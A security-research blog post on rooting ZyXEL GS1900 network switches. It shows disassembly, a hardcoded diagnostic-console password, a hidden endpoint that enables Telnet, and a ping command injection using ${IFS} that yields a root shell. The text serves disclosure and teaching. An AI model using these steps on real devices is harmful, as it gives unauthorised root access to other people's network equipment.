Rooting a ZyXEL GS1900 series switch

Released in September, 2013, the ZyXEL GS1900 series of switches is based on Realtek's RTL8380/RTL8382 gigabit switch platform. The switches are very competetitively priced considering their feature set. To top it off, it turns out they're also delightfully hackable, Linux-based devices.

Enabling Telnet

As with most other web-based configuration interfaces, the ZyXEL one is pretty bad. Both the device manual and the switch firmware indicate that configuration via Telnet is theoretically possible, however. It is not enabled by default, though, and they provide no way of enabling it from the web interface.

Or do they? Yes. After logging in to the web interface, simply point your browser at /cgi-bin/dispatcher.cgi?cmd=538 and enable it.

$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

Switch Command Line Interface (Version 1.00.41398)


Username: admin
Password: ****
Switch# show version 
Loader Version   : 2011.12.39239-svJul 24 2013 - 09:38:34
Loader Date      : Jul 24 2013 - 09:38:34
Firmware Version : 1.00.41398
Firmware Date    : Wed Jul 24 09:29:46 CST 2013
Magic Number    : 83800000
Switch#

Entering debug mode

Studying the firmware shows that /bin/cli is run when you telnet to the switch, and that this shell is based on vtysh(1) from the Quagga routing suite. Static analysis of this executable reveals the existence of a debug mode that is accessible after logging in to the CLI.

.text:00413E38 vtysh_readline_init:
[...]
.text:00413E8C                 la      $s0, vtysh_diagDebug
[...]
.text:00413EBC                 move    $a1, $s0
.text:00413EC0                 la      $a0, 0x450000
.text:00413EC4                 la      $t9, rl_bind_keyseq
.text:00413EC8                 nop
.text:00413ECC                 jalr    $t9 ; rl_bind_keyseq
.text:00413ED0                 addiu   $a0, (aCMT - 0x450000)  # "\\C-\\M-t"

The disassembly indicates that a debug mode can be triggered with the key sequence C-M-t. Let's give it a try.

Switch# C-M-t
Diagnostic Console Password: 

It worked, but it wants a password. After looking around in vtysh_diagDebug(), it can be found that a strcmp() is made against the string returned by fds_sys_passDebugPasswd_ret(), linked from /lib/libfds.so.0. Let's have a look.

.text:00005078 fds_sys_passDebugPasswd_ret:
.text:00005078                 li      $gp, 0x4D358
.text:00005080                 addu    $gp, $t9
.text:00005084                 la      $v0, 0x10000
.text:00005088                 jr      $ra
.text:0000508C                 addiu   $v0, (aZyxel1900 - 0x10000)  # "zyxel1900"

Well, that wasn't very difficult. Let's enter it and see what we get.

Diagnostic Console Password: *********
Press 'Enter' to enter debug diagnostic console......

Diagnostic Console - System Engineering
[D] Debug Mode
[L] Linux Shell
[S] SDK Diag
Enter Selection: L
# whoami
root
# uname -a
Linux (none) 2.6.19 #6 PREEMPT Wed Jul 24 09:40:58 CST 2013 mips unknown
# 

We finally have a shell, as well as some other diagnostic features to break thingsplay with.

TIMTOWTDI: Exploiting ping

The diagnostic console may provide us with a clean way of getting a shell, but it doesn't hurt to have a backup for the day they decide to kill that feature. A classic attack vector on embedded devices is command injection. Looking around the CLI we notice there's a ping command. Intriguing. Let's see what it does.

Switch# ?
  clear             Clear configuration
  clock             Manage the system clock
  configure         Configuration Mode
  copy              Copy from one file to another
  debug             Debug Options
  delete            Delete a file from the flash file system
  disable           Turn off privileged mode command
  end               End current mode and change to enable mode
  exit              Exit current mode and down to previous mode
  no                Negate command
  ping              Send ICMP ECHO_REQUEST to network hosts
  reboot            Halt and perform a cold restart
  restore-defaults  Restore to default
  save              Save running configuration to flash
  show              Show running system information
  ssl               Setup SSL host keys
  traceroute        Trace route to network hosts
Switch# ping 192.168.1.1
PING 192.168.1.1 (192.168.1.1): 56 data bytes
64 bytes from 192.168.1.1: icmp_seq=0 ttl=64 time=0.0 ms
64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=0.0 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=64 time=0.0 ms
64 bytes from 192.168.1.1: icmp_seq=3 ttl=64 time=0.0 ms

--- 192.168.1.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
Switch#

The output looks suspiciously like what you'd get from your average ping(8). Let's feed it some less traditional arguments.

Switch# ping -h;ls
BusyBox v1.00 (2013.07.24-01:30+0000) multi-call binary

Usage: ping [OPTION]... host

login.cgi             httpuploadbakcfg.cgi  dispatcher.cgi
httpuploadruncfg.cgi  httpupload.cgi
httpuploadlang.cgi    httprestorecfg.cgi
Switch# ping -h;ls -l
Unknown command
Switch# # ping -h;ls${IFS}-l
BusyBox v1.00 (2013.07.24-01:30+0000) multi-call binary

Usage: ping [OPTION]... host

-rwxr-xr-x    1 507      100        142245 login.cgi
-rwxr-xr-x    1 507      100        238742 httpuploadruncfg.cgi
-rwxr-xr-x    1 507      100        242892 httpuploadlang.cgi
-rwxr-xr-x    1 507      100        238836 httpuploadbakcfg.cgi
-rwxr-xr-x    1 507      100        242948 httpupload.cgi
-rwxr-xr-x    1 507      100        238834 httprestorecfg.cgi
-rwxr-xr-x    1 507      100       1256250 dispatcher.cgi
Switch#

At this point it is clear that the argument to ping is used verbatim in a call to system(), which proceeds to invoke the BusyBox shell. Experimenting a bit shows that the CLI will only accept one argument to the ping command. Luckily for us, BusyBox will happily interpolate variables in the string before execve()-ing it. Every space in the string can therefore be replaced with the variable holding the input field separator, which happens to be a space, $IFS. Time to try getting a shell.

Switch# ping -h;sh
BusyBox v1.00 (2013.07.24-01:30+0000) multi-call binary

Usage: ping [OPTION]... host


Switch Command Line Interface (Version 1.00.41398)


Press any key to continue

What just happened? Well, invoking sh interactively just gave us a nested instance of /bin/cli. Turns out they've hardcoded that in their custom (and pretty ancient) version of BusyBox.

So what does the diagnostic console do to obtain an interactive shell? Let us once again have a look at the disassembly.

.text:00411034 diagdbgOperation:
[...]
.text:00411218                 la      $a0, 0x450000
.text:0041121C                 la      $t9, system
.text:00411220                 b       loc_41123C
.text:00411224                 addiu   $a0, (aShATelnet - 0x450000)  # "sh -a telnet"
[...]
.text:0041123C loc_41123C:
.text:0041123C                 jalr    $t9

So after some back and forth, we find that what is necessary to get a shell is providing sh with the option -a telnet. Let's escape from the CLI.

Switch# ping -h;sh${IFS}-a${IFS}telnet
BusyBox v1.00 (2013.07.24-01:30+0000) multi-call binary

  Usage: ping [OPTION]... host

# whoami
root
# uname -a
Linux (none) 2.6.19 #6 PREEMPT Wed Jul 24 09:40:58 CST 2013 mips unknown
#

And there's our shell!